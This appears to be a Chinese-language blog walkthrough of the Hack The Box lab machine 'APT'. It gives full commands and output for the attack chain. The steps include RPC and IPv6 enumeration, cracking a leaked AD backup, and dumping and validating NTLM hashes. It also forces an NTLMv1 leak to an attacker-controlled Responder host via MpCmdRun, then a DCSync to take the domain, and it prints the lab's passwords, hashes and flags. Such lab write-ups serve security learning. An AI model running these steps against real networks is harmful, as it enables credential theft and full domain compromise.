一、信息搜集

nmap -sV 10.10.10.213

只开了80和135端口，继续扫描服务：

nmap -sT -sV -sC -O -p 80,135 10.10.10.213

可以看到操系统极大概率是Windows Server 2016。 尝试对web界面进行信息搜集：

sudo apt install gobuster
gobuster dir -u "http://10.10.10.213" -w /usr/share/wordlists/dirb/big.txt -b 301,302,400,401,403,404,500,502 -t 20 --random-agent --no-error

目录扫描没扫出什么东西，感觉web界面能利用的有点少，先去看看135端口的RPC服务有没有利用的可能性。这个靶机的提示如下：大意是说，APT是一个非常困难的Windows机器，只暴露了RPC和HTTP服务。枚举现有的RPC接口可以找到一个有趣的Object，可以用来找到IPv6地址。并且该机器受到防火墙保护，在IPv6上可以访问备份共享。用户枚举和暴力破解攻击可以访问包含登录凭据的注册表。该机器配置为允许通过NTLMv1协议进行身份验证，可以利用此协议获得系统权限。

二、深度利用RPC服务

非常推荐大家看这篇文章来初步理解这个rpc服务：红队视角下的Windows RPC以及下面这篇微软官方文档里面的文章：Service overview and network port requirements - Windows Server首先先检查是否可以匿名连接：

rpcclient 10.10.10.213
rpcclient -U '' 10.10.10.213

很明显是不可以的：然后尝试获取远程RPC的端点信息：

cd /home/kali/Desktop/impacket/examples
python rpcmap.py ncacn_ip_tcp:10.10.10.213[135]
python rpcmap.py ncacn_ip_tcp:10.10.10.213[135] -brute-uuid

得到的结果如下，我们重点看红框框出来的这三个：我们去微软官网查询他们分别对应的服务名称：[MS-DCOM]: Standards Assignments他们对应的服务分别是：这里我们可以使用如下脚本来获取其IPV6，再看看能不能有更多的信息扫描出来：

git clone https://github.com/mubix/IOXIDResolver.git
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
python IOXIDResolver.py -t 10.10.10.213

把这个ipv6地址添加到hosts里面：

su root
echo "dead:beef::b885:d62a:d679:573f apt.htb" >> /etc/hosts

然后nmap开始扫描：

sudo nmap -sS --min-rate=10000 -p- -O -A -sV -oA `pwd`/apt-ipv6.txt apt.htb -6

具体结果如下：

Host is up (1.1s latency).
Not shown: 65519 filtered tcp ports (no-response)
PORT      STATE SERVICE    VERSION
53/tcp    open  tcpwrapped
80/tcp    open  tcpwrapped
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Gigantic Hosting | Home
88/tcp    open  tcpwrapped
135/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped Windows Server 2016 Standard 14393 tcpwrapped
464/tcp   open  tcpwrapped
636/tcp   open  tcpwrapped
|_ssl-date: 2023-09-11T09:52:32+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Not valid before: 2020-09-24T07:07:18
|_Not valid after:  2050-09-24T07:17:18
3268/tcp  open  tcpwrapped
3269/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Not valid before: 2020-09-24T07:07:18
|_Not valid after:  2050-09-24T07:17:18
|_ssl-date: 2023-09-11T09:52:32+00:00; -1s from scanner time.
9389/tcp  open  tcpwrapped
49665/tcp open  tcpwrapped
49666/tcp open  tcpwrapped
49669/tcp open  tcpwrapped
49670/tcp open  tcpwrapped
49675/tcp open  tcpwrapped
53992/tcp open  tcpwrapped
No OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=6%D=9/11%OT=53%CT=%CU=%PV=N%DS=1%DC=D%G=Y%TM=64FEE364%P=x
OS:86_64-pc-linux-gnu)S1(P=6000{4}28067fXX{32}0035c4c13741ade978e43086a012
OS:20005245000002040526010303080402080a00267ad1ff{4}%ST=10.9056%RT=11.9747
OS:)S2(P=6000{4}28067fXX{32}0035c4c2fcb0bf7478e43087a01220007b480000020405
OS:26010303080402080a00267ad1ff{4}%ST=11.0056%RT=11.6735)S3(P=6000{4}28067
OS:fXX{32}0035c4c35bdaa77478e43088a0122000371e000002040526010303080101080a
OS:00267ad1ff{4}%ST=11.1056%RT=11.6735)S4(P=6000{4}28067fXX{32}0035c4c41fa
OS:8211078e43089a0122000f6b0000002040526010303080402080a00267ad2ff{4}%ST=1
OS:1.2061%RT=11.9747)S5(P=6000{4}28067fXX{32}0035c4c513af707e78e4308aa0122
OS:000b33a000002040526010303080402080a00267ad1ff{4}%ST=11.3056%RT=11.6735)
OS:S6(P=6000{4}24067fXX{32}0035c4c66f0a29f078e4308b90122000b27a00000204052
OS:60402080a00267ad1ff{4}%ST=11.4057%RT=11.9746)IE1(P=6000{4}803a7fXX{32}8
OS:100cac2abcd00{122}%ST=10.99%RT=11.9747)TECN(P=602000{3}20067fXX{32}0035
OS:c4c7e9777b1678e4308c80522000749e0000020405260103030801010402%ST=11.1885
OS:%RT=11.9747)EXTRA(FL=12345)

Network Distance: 1 hop

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -12m00s, deviation: 26m47s, median: -1s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: apt
|   NetBIOS computer name: APTx00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: apt.htb.local
|_  System time: 2023-09-11T10:52:06+01:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2023-09-11T09:52:04
|_  start_date: 2023-09-11T09:10:04

TRACEROUTE
HOP RTT        ADDRESS
1   1098.78 ms apt.htb (dead:beef::b885:d62a:d679:573f)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.33 seconds

其实服务器还开启了389端口，结合上面的53端口，可以大致判断这应该是一台域控，并且域名为htb.local，FQDN为apt.htb.local因为有防火墙拦着，如果你是通过IPV4来访问共享，是访问不了的。由于之前配置了hosts文件，这里我们直接执行以下命令：

smbclient -N -L //apt.htb

发现有个backup的分享名，我们把里面的backup.zip文件下下来分析：

smbclient -N //apt.htb/backup -t 3600
get backup.zip

如果不设置-t参数，会出现我下面的情况，加了之后就可以解决：然后尝试解压，但是发现需要密码：

unzip backup.zip -d backup

试试看能不能爆破：

sudo apt install fcrackzip
# gzip -d /usr/share/wordlists/rockyou.txt.gz
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip

一秒爆破成功：再解压：明显看到里面有个ntds.dit文件以及SYSTEM文件，这个文件是域控中独有的（工作组机器对应的文件名为sam），里面存储着域内所有用户的凭据信息，sam和ntds.dit文件的破解都需要SYSTEM文件。 我们使用如下命令来解密：

impacket-secretsdump -ntds /home/kali/Desktop/backup/"Active Directory"/ntds.dit -system /home/kali/Desktop/backup/registry/SYSTEM -outputfile ntds_hash LOCAL

可以看到账号和hash实在是太多了：要是挨个做喷洒的话会花费很多时间，这里我们先进行用户名枚举查看用户名是否存在： 先下载工具kerbrute：https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64并以管理员身份修改/etc/hosts文件中的apt.htb为apt.htb apt.htb.local htb.local：

cat ntds_hash.ntds.kerberos | awk -F ':' '{print $1}' | sort -u > domain_user
chmod 777 kerbrute_linux_amd64
./kerbrute_linux_amd64 userenum --dc apt.htb.local -d htb.local /home/kali/Desktop/domain_user

得到三个用户名：

[email protected]
APT$@htb.local
[email protected]

这里的带$的一般是服务账号或隐藏账号。 提取上面的三个用户名：

cat ntds_hash.ntds | grep 'Administrator|APT|henry.vinson' | grep ':::' | awk -F ':' '{print $1}' > user.txt

然后提取hash并进行去重：

cat ntds_hash.ntds | grep ':::' | awk -F ':' '{print $4}' | sort -u > user_hash
cat user_hash

先试试看使用crackmapexec这个工具来pth：

crackmapexec smb apt.htb.local -u user.txt -H user_hash

很明显可以看到爆破失败了，它这个是有次数限制的：我们换个方式，通过impacket的getTGT这个脚本来验证。TGT是用户在用户在登录的时候由KDC生成的一个临时凭证，用于向服务器请求访问权限，然后这个getTGT脚本的作用就是模拟用户登录并获取TGT，这里我们可以自己写个小脚本来帮助我们利用它来判这些hash中哪些是有效的：

touch check_hash.sh & nano check_hash.sh

然后输入以下内容：

while read -r hash; do
    output=$(impacket-getTGT htb.local/[email protected] -hashes :$hash)
    if [[ $output == *Saving* ]]; then
        echo "[++++++] hash: $hash"
    fi
done < /home/kali/Desktop/user_hash

然后执行bash check_hash.sh，跑起来要挺长时间的（40分钟左右）：得到有效hash为：

e53d87d42adaa3ca32bdb34a876cbffb

尝试pth：

impacket-wmiexec htb.local/[email protected] -hashes ':e53d87d42adaa3ca32bdb34a876cbffb'

但是不行：不过我们有了hash值，就可以读取注册表的内容了：

impacket-reg -hashes ':e53d87d42adaa3ca32bdb34a876cbffb' -dc-ip htb.local htb.local/[email protected] query -keyName HKU\SOFTWARE -s > henry_reg.txt

这里的HKU注册表是保存用户一些的配置文件,-s表示递归查询子键 。这一步挺耗时间，要等不少时间，不过可以看到这里已经显示出账号密码了：

SOFTWAREGiganticHostingManagementSystem
        UserName        REG_SZ   henry.vinson_adm
        PassWord        REG_SZ   G1#Ny5@2dvht

我们可以用evil-winrm来尝试登录：

evil-winrm -i htb.local -u henry.vinson_adm -p 'G1#Ny5@2dvht'

信息搜集过程中可以查看命令行历史记录：

cmd /c type %userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt

可以看到他曾执行了这样一段命令：

$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetControlLsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}

主要作用是将Windows操作系统中的LM兼容性级别设置为2，当设置为2的时候，默认使用的是NTLMv1协议，而这个的hash值则是可以破解的。 相关阅读：LMCompatibilityLevel 安全隐患这里也是直接拿到user的flag：

cat C:Usershenry.vinson_admdesktopuser.txt
# 0b771cb7077667a86094fa670c334cb6

三、（作者非预期）利用WindowsDefender抓取管理员hash并破解实现提权

关于NTLMv1的利用总结可参考如下文章：Windows下的密码hash——Net-NTLMv1介绍 - husterlong - 博客园我们首先先固定responder的challenge值为1122334455667788以方便利用https://crack.sh 这个网站来破解：

sudo nano /usr/share/responder/Responder.conf

具体可以参考：Cracking NETLM/NETNTLMv1 Authentication | crack.sh然后开启监听：

sudo responder --lm -I tun0 -v

然后新开一个终端，用evil-winrm链接：

evil-winrm -i htb.local -u henry.vinson_adm -p 'G1#Ny5@2dvht'

然后利用白名单程序来外连responder：

cd "C:Program FilesWindows Defender"
.MpCmdRun.exe -Scan -scantype 3 -File \10.10.16.14hackertest

responder这边已经收到了NTLMv1的值：

HTBAPT$
APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

然后利用如下脚本来解析：

git clone https://github.com/evilmog/ntlmv1-multi.git
cd ntlmv1-multi
python3 ntlmv1.py --ntlmv1 APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

可以看到这个脚本提示我们可以拿着NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384去crack.sh上面去破解。 我们打开https://crack.sh/get-cracking/，输入Token和邮箱即可开始提交破解。由于crack.sh这个站的破解功能暂时关闭，这里我们直接从其他人的wp中拿图和结果过来：得到NTLM hash为： d167c323886b12f5f82feae86a7f798。 尝试wmiexec：

impacket-wmiexec 'htb.local/[email protected]' -hashes ':d167c323886b12f5f82feae86a7f798'

还是失败了：尝试DCSync转储： 补充：什么是DCSync攻击

嘿，域控制器，我是另一个域控制器，为了加入该域，我们需要同步密码，请把所有哈希值发送给我。这就是所谓的DC Sync攻击

impacket-secretsdump -hashes ':d167c3238864b12f5f82feae86a7f798' 'htb.local/[email protected]'

成功：登录Administrator账户：

evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2

拿到root的flag：

cat ../Desktop/root.txt
# d53ca391c44e4ef302e49dbdd8e200cb

四、（作者预期）通过RoguePotato获取NTLMv1 Hash

参考：https://0xdf.gitlab.io/2021/04/10/htb-apt.html#collect-net-ntlmv1-via-rpc--roguepotato，难度有点大，暂时先跳过，后面会在博客中更新。。